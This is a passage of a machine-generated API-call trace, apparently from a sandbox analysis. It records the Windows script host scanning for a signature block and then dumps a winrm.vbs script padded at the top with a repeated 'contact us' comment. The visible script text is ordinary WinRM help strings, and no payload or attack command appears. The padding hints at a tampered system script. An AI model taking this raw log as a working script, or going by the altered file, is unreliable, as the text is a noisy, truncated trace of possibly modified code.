_MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel s", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel so", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel som", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel some", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel somet", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel someth", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel somethi", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel somethin", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel something", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel something ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel something i", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel something is", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1="'If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 26 [0147.725] wcsncmp (_String1="If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 60 [0147.725] wcsncmp (_String1="f you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 89 [0147.725] wcsncmp (_String1=" you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1="you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 108 [0147.725] wcsncmp (_String1="ou feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 98 [0147.726] wcsncmp (_String1="u feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 104 [0147.726] wcsncmp (_String1=" feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1="feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 89 [0147.726] wcsncmp (_String1="eel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 88 [0147.726] wcsncmp (_String1="el something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 88 [0147.726] wcsncmp (_String1="l something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 95 [0147.726] wcsncmp (_String1=" something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1="something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 102 [0147.726] wcsncmp (_String1="omething is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 98 [0147.726] wcsncmp (_String1="mething is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 96 [0147.726] wcsncmp (_String1="ething is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 88 [0147.726] wcsncmp (_String1="thing is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 103 [0147.726] wcsncmp (_String1="hing is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 91 [0147.726] wcsncmp (_String1="ing is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 92 [0147.726] wcsncmp (_String1="ng is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 97 [0147.726] wcsncmp (_String1="g is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 90 [0147.726] wcsncmp (_String1=" is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1="is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 92 [0147.726] wcsncmp (_String1="s ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 102 [0147.726] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1=" '", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1=" 'm", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1=" 'mi", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1=" 'mis", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1=" 'miss", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1=" 'missi", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1=" 'missin", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1=" 'missing", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1=" 'missing ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1=" 'missing t", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1=" 'missing th", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1=" 'missing tha", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1=" 'missing that", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.726] wcsncmp (_String1=" 'missing that ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that s", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that sh", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that sho", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that shou", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that shoul", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that should", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that should ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that should b", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that should be", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that should be ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that should be h", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that should be he", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that should be her", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that should be here", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that should be here,", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that should be here, ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that should be here, c", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1=" 'missing that should be here, co", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.727] wcsncmp (_String1="'missing that should be here, con", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 26 [0147.727] wcsncmp (_String1="missing that should be here, cont", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 96 [0147.728] wcsncmp (_String1="issing that should be here, conta", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 92 [0147.728] wcsncmp (_String1="ssing that should be here, contac", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 102 [0147.728] wcsncmp (_String1="sing that should be here, contact", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 102 [0147.728] wcsncmp (_String1="ing that should be here, contact ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 92 [0147.728] wcsncmp (_String1="ng that should be here, contact u", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 97 [0147.728] wcsncmp (_String1="g that should be here, contact us", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 90 [0147.728] wcsncmp (_String1=" that should be here, contact us.", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.728] wcsncmp (_String1="that should be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 103 [0147.728] wcsncmp (_String1="hat should be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 91 [0147.728] wcsncmp (_String1="at should be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 84 [0147.728] wcsncmp (_String1="t should be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 103 [0147.728] SetLastError (dwErrCode=0xb) [0147.728] GetLastError () returned 0xb [0147.729] SetLastError (dwErrCode=0xb) [0147.730] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0147.730] CloseCodeAuthzLevel () returned 0x1 [0147.730] FreeLibrary (hLibModule=0x7ff9e79c0000) returned 1 [0147.730] malloc (_Size=0x88) returned 0x249c884ab70 [0147.731] SysStringLen (param_1=" 'If you feel something is 'missing that should be here, contact us. 'If you feel something is 'missing that should be here, contact us. 'If you feel something is 'missing that should be here, contact us. 'If you feel something is 'missing that should be here, contact us. 'If you feel something is 'missing that should be here, contact us. 'If you feel something is 'missing that should be here, contact us. 'If you feel something is 'missing that should be here, contact us. 'If you feel something is 'missing that should be here, contact us. 'If you feel something is 'missing that should be here, contact us. '\r\n' Copyright (c) Microsoft Corporation. All rights reserved.\r\n'\r\n' VBScript Source File\r\n'\r\n' Script Name: winrm.vbs\r\n'\r\n\r\n\r\n\r\n'''''''''''''''''''''\r\n' Error codes\r\nprivate const ERR_OK = 0\r\nprivate const ERR_GENERAL_FAILURE = 1\r\n\r\n'''''''''''''''''''''\r\n' Messages\r\n\r\nprivate const L_INVOPT_ErrorMessage = \"Switch not allowed with the given operation: \"\r\nprivate const L_UNKOPT_ErrorMessage = \"Unknown switch: \"\r\nprivate const L_BLANKOPT_ErrorMessage = \"Missing switch name\"\r\nprivate const L_UNKOPT_GenMessage = \"Invalid use of command line. Type \"\"winrm -?\"\" for help.\"\r\nprivate const L_HELP_GenMessage = \"Type \"\"winrm -?\"\" for help.\"\r\nprivate const L_ScriptNameNotFound_ErrorMessage = \"Invalid usage of command line; winrm.vbs not found in command string.\"\r\nprivate const L_ImproperUseOfQuotes_ErrorMessage = \"A quoted parameter value must begin and end with quotes: \"\r\nprivate const L_BADMATCNT1_Message = \"Unexpected match count - one match is expected: \"\r\nprivate const L_OPTNOTUNQ_Message = \"Option is not unique: \"\r\nprivate const L_URIMISSING_Message = \"URI is missing\"\r\nprivate const L_ACTIONMISSING_Message = \"Action is missing\"\r\nprivate const L_URIZERO_Message = \"URI is 0 length\" \r\nprivate const L_URIZEROTOK_Message = \"Invalid URI, token is 0 length\" \r\nprivate const L_INVWMIURI1_Message = \"Invalid WMI resource URI - no '/' found (at least 2 expected)\"\r\nprivate const L_INVWMIURI2_Message = \"Invalid WMI resource URI - only one '/' found (at least 2 expected)\"\r\nprivate const L_NOLASTTOK_Message = \"Invalid URI - cannot locate last token for root node name\"\r\nprivate const L_HashSyntax_ErrorMessage = \"Syntax Error: input must be of the form {KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}\"\r\nprivate const L_ARGNOVAL_Message = \"Argument's value is not provided: \"\r\nprivate const L_XMLERROR_Message = \"Unable to parse XML: \"\r\nprivate const L_XSLERROR_Message = \"Unable to parse XSL file. Either it is inaccessible or invalid: \"\r\nprivate const L_MSXML6MISSING_Message = \"Unable to load MSXML6, required by -format option and for set using \"\"@{...}\"\"\"\r\nprivate const L_FORMATLERROR_Message = \"Invalid option for -format: \"\r\nprivate const L_FORMATFAILED_Message = \"Unable to reformat message. Raw, unformatted, message: \"\r\nprivate const L_PUT_PARAM_NOMATCH_Message = \"Parameter name does not match any properties on resource: \"\r\nprivate const L_PUT_PARAM_MULTIMATCH_Message = \"Parameter matches more than one property on resource: \"\r\nprivate const L_PUT_PARAM_NOARRAY_Message = \"Multiple matching parameter names not allowedin @{...}: \"\r\nprivate const L_PUT_PARAM_NOTATTR_Message = \"Parameter matches a non-text property on resource: \"\r\nprivate const L_PUT_PARAM_EMPTY_Message = \"Parameter set is empty.\"\r\nprivate const L_OPTIONS_PARAMETER_EMPTY_Message = \"Options parameter has no value or is malformed.\"\r\nprivate const L_RESOURCELOCATOR_Message = \"Unable to create ResourceLocator object.\"\r\nprivate const L_PUT_PARAM_NOINPUT_Message = \"No input provided through \"\"@{...}\"\" or \"\"-file:\"\" commandline parameters.\"\r\nprivate const L_ERR_Message = \"Error: \"\r\nprivate const L_ERRNO_Message = \"Error number: \"\r\nprivate const L_OpDoesntAcceptInput_ErrorMessage = \"Input was supplied to an operation that does not accept input.\"\r\nprivate const L_QuickConfigNoChangesNeeded_Message = \"WinRM is already set up for remote management on this computer.\"\r\nprivate const L_QuickConfig_MissingUpdateXml_0_ErrorMessage = \"Could not find update instructions in analysis result.\"\r\nprivate const L_QuickConfigUpdated_Message = \"WinRM has been updated for remote management.\"\r\nprivate const L_QuickConfigUpdateFailed_ErrorMessage = \"One or more update steps could not be completed.\"\r\nprivate const L_QuickConfig_InvalidBool_0_ErrorMessage = \"Could not determine if remoting is enabled.\"\r\nprivate const L_QuickConfig_RemotingDisabledbyGP_00_ErrorMessage = \"Cannot complete the request due to a conflicting Group Policy setting.\"\r\nprivate const L_QuickConfig_UpdatesNeeded_0_Message = \"WinRM is not set up to allow remote access to this machine for management.\"\r\nprivate const L_QuickConfig_UpdatesNeeded_1_Message = \"The following changes must be made:\"\r\nprivate const L_QuickConfig_Prompt_0_Message = \"Make these changes [y/n]? \"\r\nprivate const L_QuickConfigNoServiceChangesNeeded_Message = \"WinRM is already set up to receive requests on this computer.\"\r\nprivate const L_QuickConfigNoServiceChangesNeeded_Message2 = \"WinRM service is already running on this machine.\"\r\nprivate const L_QuickConfigUpdatedService_Message = \"WinRM has been updated to receive requests.\"\r\nprivate const L_QuickConfig_ServiceUpdatesNeeded_0_Message = \"WinRM is not set up to receive requests on this machine.\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - GENERAL\r\nprivate const L_Help_Title_0_Message = \"Windows Remote Management Command Line Tool\"\r\n\r\nprivate const L_Help_Blank_0_Message = \"\"\r\n\r\nprivate const L_Help_SeeAlso_Title_Message = \"See also:\"\r\nprivate const X_Help_SeeAlso_Aliases_Message = \" winrm help aliases\"\r\nprivate const X_Help_SeeAlso_Config_Message = \" winrm help config\"\r\nprivate const X_Help_SeeAlso_CertMapping_Message = \" winrm help certmapping\"\r\nprivate const X_Help_SeeAlso_CustomRemoteShell_Message = \" winrm help customremoteshell\"\r\nprivate const X_Help_SeeAlso_Input_Message = \" winrm help input\"\r\nprivate const X_Help_SeeAlso_Filters_Message = \" winrm help filters\"\r\nprivate const X_Help_SeeAlso_Switches_Message = \" winrm help switches\"\r\nprivate const X_Help_SeeAlso_Uris_Message = \" winrm help uris\"\r\nprivate const X_Help_SeeAlso_Auth_Message = \" winrm help auth\"\r\nprivate const X_Help_SeeAlso_Set_Message = \" winrm set -?\"\r\nprivate const X_Help_SeeAlso_Create_Message = \" winrm create -?\"\r\nprivate const X_Help_SeeAlso_Enumerate_Message = \" winrm enumerate -?\"\r\nprivate const X_Help_SeeAlso_Invoke_Message = \" winrm invoke -?\"\r\nprivate const X_Help_SeeAlso_Remoting_Message = \" winrm help remoting\"\r\nprivate const X_Help_SeeAlso_configSDDL_Message = \" winrm configsddl -?\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - HELP\r\nprivate const L_HelpHelp_000_0_Message = \"Windows Remote Management (WinRM) is the Microsoft implementation of \"\r\nprivate const L_HelpHelp_001_0_Message = \"the WS-Management protocol which provides a secure way to communicate \"\r\nprivate const L_HelpHelp_001_1_Message = \"with local and remote computers using web services. \"\r\nprivate const L_HelpHelp_002_0_Message = \"\"\r\nprivate const L_HelpHelp_003_0_Message = \"Usage:\"\r\nprivate const L_HelpHelp_004_0_Message = \" winrm OPERATION RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpHelp_005_0_Message = \" [@{KEY=VALUE[;KEY=VALUE]...}]\"\r\nprivate const L_HelpHelp_007_0_Message = \"\"\r\nprivate const L_HelpHelp_008_0_Message = \"For help on a specific operation:\"\r\nprivate const L_HelpHelp_009_0_Message = \" winrm g[et] -? Retrieving management information.\"\r\nprivate const L_HelpHelp_010_0_Message = \" winrm s[et] -? Modifying management information.\"\r\nprivate const L_HelpHelp_011_0_Message = \" winrm c[reate] -? Creating new instances of management resources.\"\r\nprivate const L_HelpHelp_012_0_Message = \" winrm d[elete] -? Remove an instance of a management resource.\"\r\nprivate const L_HelpHelp_013_0_Message = \" winrm e[numerate] -? List all instances of a management resource.\"\r\nprivate const L_HelpHelp_014_0_Message = \" winrm i[nvoke] -? Executes a method on a management resource.\"\r\nprivate const L_HelpHelp_015_0_Message = \" winrm id[entify] -? Determines if a WS-Management implementation is\"\r\nprivate const L_HelpHelp_015_1_Message = \" running on the remote machine.\"\r\nprivate const L_HelpHelp_016_0_Message = \" winrm quickconfig -? Configures this machine to accept WS-Management\"\r\nprivate const L_HelpHelp_016_1_Message = \" requests from other machines.\"\r\nprivate const L_HelpHelp_016_3_Message = \" winrm configSDDL -? Modify an existing security descriptor for a URI.\"\r\nprivate const L_HelpHelp_016_4_Message = \" winrm helpmsg -? Displays error message for the error code.\"\r\nprivate const L_HelpHelp_017_0_Message = \"\"\r\nprivate const L_HelpHelp_018_0_Message = \"For help on related topics:\"\r\nprivate const L_HelpHelp_019_0_Message = \" winrm help uris How to construct resource URIs.\"\r\nprivate const L_HelpHelp_020_0_Message = \" winrm help aliases Abbreviations for URIs.\"\r\nprivate const L_HelpHelp_021_0_Message = \" winrm help config Configuring WinRM client and service settings.\"\r\nprivate const L_HelpHelp_021_2_Message = \" winrm help certmapping Configuring client certificate access.\"\r\nprivate const L_HelpHelp_022_0_Message = \" winrm help remoting How to access remote machines.\"\r\nprivate const L_HelpHelp_023_0_Message = \" winrm help auth Providing credentials for remote access.\"\r\nprivate const L_HelpHelp_024_0_Message = \" winrm help input Providing input to create, set, and invoke.\"\r\nprivate const L_HelpHelp_025_0_Message = \" winrm help switches Other switches such as formatting, options, etc.\"\r\nprivate const L_HelpHelp_026_0_Message = \" winrm help proxy Providing proxy information.\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - GET\r\nprivate const L_HelpGet_000_0_Message = \"winrm get RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpGet_001_0_Message = \"\"\r\nprivate const L_HelpGet_002_0_Message = \"Retrieves instances of RESOURCE_URI using specified \"\r\nprivate const L_HelpGet_003_0_Message = \"options and key-value pairs.\"\r\nprivate const L_HelpGet_004_0_Message = \"\"\r\nprivate const L_HelpGet_005_0_Message = \"Example: Retrieve current configuration in XML format:\"\r\nprivate const X_HelpGet_006_0_Message = \" winrm get winrm/config -format:pretty\"\r\nprivate const L_HelpGet_007_0_Message = \"\"\r\nprivate const L_HelpGet_008_0_Message = \"Example: Retrieve spooler instance of Win32_Service class:\"\r\nprivate const X_HelpGet_009_0_Message = \" winrm get wmicimv2/Win32_Service?Name=spooler\"\r\nprivate const L_HelpGet_010_0_Message = \"\"\r\nprivate const L_HelpGet_014_0_Message = \"Example: Retrieve a certmapping entry on this machine:\"\r\nprivate const X_HelpGet_015_0_Message = \" winrm get winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/*\"\r\nprivate const L_HelpGet_016_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - SET\r\nprivate const L_HelpSet_001_0_Message = \"winrm set RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpSet_002_0_Message = \" [@{KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}]\"\r\nprivate const L_HelpSet_003_0_Message = \" [-file:VALUE]\"\r\nprivate const L_HelpSet_004_0_Message = \"\"\r\nprivate const L_HelpSet_005_0_Message = \"Modifies settings in RESOURCE_URI using specified switches\"\r\nprivate const L_HelpSet_006_0_Message = \"and input of changed values via key-value pairs or updated \"\r\nprivate const L_HelpSet_007_0_Message = \"object via an input file.\"\r\nprivate const L_HelpSet_008_0_Message = \"\"\r\nprivate const L_HelpSet_009_0_Message = \"Example: Modify a configuration property of WinRM:\"\r\nprivate const X_HelpSet_010_0_Message = \" winrm set winrm/config @{MaxEnvelopeSizekb=\"\"100\"\"}\"\r\nprivate const L_HelpSet_011_0_Message = \"\"\r\nprivate const L_HelpSet_012_0_Message = \"Example: Disable a listener on this machine:\"\r\nprivate const X_HelpSet_013_0_Message = \" winrm set winrm/config/Listener?Address=*+Transport=HTTPS @{Enabled=\"\"false\"\"}\"\r\nprivate const L_HelpSet_014_0_Message = \"\"\r\nprivate const L_HelpSet_018_0_Message = \"Example: Disable a certmapping entry on this machine:\"\r\nprivate const X_HelpSet_019_0_Message = \" Winrm set winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/* @{Enabled=\"\"false\"\"}\"\r\nprivate const L_HelpSet_020_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CREATE\r\nprivate const L_HelpCreate_001_0_Message = \"winrm create RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpCreate_002_0_Message = \" [@{KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}]\"\r\nprivate const L_HelpCreate_003_0_Message = \" [-file:VALUE]\"\r\nprivate const L_HelpCreate_004_0_Message = \"\"\r\nprivate const L_HelpCreate_005_0_Message = \"Spawns an instance of RESOURCE_URI using specified \"\r\nprivate const L_HelpCreate_006_0_Message = \"key-value pairs or input file.\"\r\nprivate const L_HelpCreate_007_0_Message = \"\"\r\nprivate const L_HelpCreate_008_0_Message = \"Example: Create instance of HTTP Listener on IPv6 address:\"\r\nprivate const X_HelpCreate_009_0_Message = \" winrm create winrm/config/Listener?Address=IP:3ffe:8311:ffff:f2c1::5e61+Transport=HTTP\"\r\nprivate const L_HelpCreate_010_0_Message = \"\"\r\nprivate const L_HelpCreate_011_0_Message = \"Example: Create instance of HTTPS Listener on all IPs:\"\r\nprivate const X_HelpCreate_012_0_Message = \" winrm create winrm/config/Listener?Address=*+Transport=HTTPS @{Hostname=\"\"HOST\"\";CertificateThumbprint=\"\"XXXXXXXXXX\"\"}\"\r\nprivate const L_HelpCreate_013_0_Message = \"Note: XXXXXXXXXX represents a 40-digit hex string; see help config.\"\r\nprivate const L_HelpCreate_014_0_Message = \"\"\r\nprivate const L_HelpCreate_015_0_Message = \"Example: Create a windows shell command instance from xml:\"\r\nprivate const X_HelpCreate_016_0_Message = \" winrm create shell/cmd -file:shell.xml -remote:srv.corp.com\"\r\nprivate const L_HelpCreate_017_0_Message = \"\"\r\nprivate const L_HelpCreate_022_0_Message = \"Example: Create a CertMapping entry:\"\r\nprivate const X_HelpCreate_023_0_Message = \" winrm create winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/* @{UserName=\"\"USERNAME\"\";Password=\"\"PASSWORD\"\"} -remote:localhost\"\r\nprivate const L_HelpCreate_024_0_Message = \"\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - DELETE\r\nprivate const L_HelpDelete_001_0_Message = \"winrm delete RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpDelete_002_0_Message = \"\"\r\nprivate const L_HelpDelete_003_0_Message = \"Removes an instance of RESOURCE_URI.\"\r\nprivate const L_HelpDelete_004_0_Message = \"\"\r\nprivate const L_HelpDelete_005_0_Message = \"Example: delete the HTTP listener on this machine for given IP address:\"\r\nprivate const X_HelpDelete_006_0_Message = \" winrm delete winrm/config/Listener?Address=IP:192.168.2.1+Transport=HTTP\"\r\nprivate const L_HelpDelete_007_0_Message = \"\"\r\nprivate const L_HelpDelete_008_0_Message = \"Example: delete a certmapping entry:\"\r\nprivate const X_HelpDelete_009_0_Message = \" winrm delete winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/*\"\r\nprivate const L_HelpDelete_010_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - ENUMERATE\r\nprivate const L_HelpEnum_001_0_Message = \"winrm enumerate RESOURCE_URI [-ReturnType:Value] [-Shallow]\" \r\nprivate const L_HelpEnum_001_1_Message = \" [-BasePropertiesOnly] [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpEnum_002_0_Message = \"\"\r\nprivate const L_HelpEnum_003_0_Message = \"Lists instances of RESOURCE_URI.\"\r\nprivate const L_HelpEnum_004_0_Message = \"Can limit the instances returned by using a filter and dialect if the \"\r\nprivate const L_HelpEnum_005_0_Message = \"resource supports these.\"\r\nprivate const L_HelpEnum_006_0_Message = \"\"\r\nprivate const L_HelpEnum_006_1_Message = \"ReturnType\"\r\nprivate const L_HelpEnum_006_2_Message = \"----------\"\r\nprivate const L_HelpEnum_006_3_Message = \"returnType is an optional switch that determines the type of data returned.\"\r\nprivate const L_HelpEnum_006_4_Message = \"Possible options are 'Object', 'EPR' and 'ObjectAndEPR'. Default is Object\"\r\nprivate const L_HelpEnum_006_5_Message = \"If Object is specified or if switch is omitted, then only the objects are\"\r\nprivate const L_HelpEnum_006_6_Message = \"returned.\"\r\nprivate const L_HelpEnum_006_7_Message = \"If EPR is specified, then only the EPRs (End point reference) of the\"\r\nprivate const L_HelpEnum_006_8_Message = \"objects are returned. EPRs contain information about the resource URI and\"\r\nprivate const L_HelpEnum_006_9_Message = \"selectors for the instance.\"\r\nprivate const L_HelpEnum_006_10_Message = \"If ObjectAndEPR is specified, then both the object and the associated EPRs\"\r\nprivate const L_HelpEnum_006_11_Message = \"are returned.\"\r\nprivate const L_HelpEnum_006_12_Message = \"\"\r\nprivate const L_HelpEnum_006_13_Message = \"Shallow\"\r\nprivate const L_HelpEnum_006_14_Message = \"-------\"\r\nprivate const L_HelpEnum_006_15_Message = \"Enumerate only instances of the base class specified in the resource URI.\"\r\nprivate const L_HelpEnum_006_16_Message = \"If this flag is not specified, instances of the base class specified in \"\r\nprivate const L_HelpEnum_006_17_Message = \"the resource URI and all its 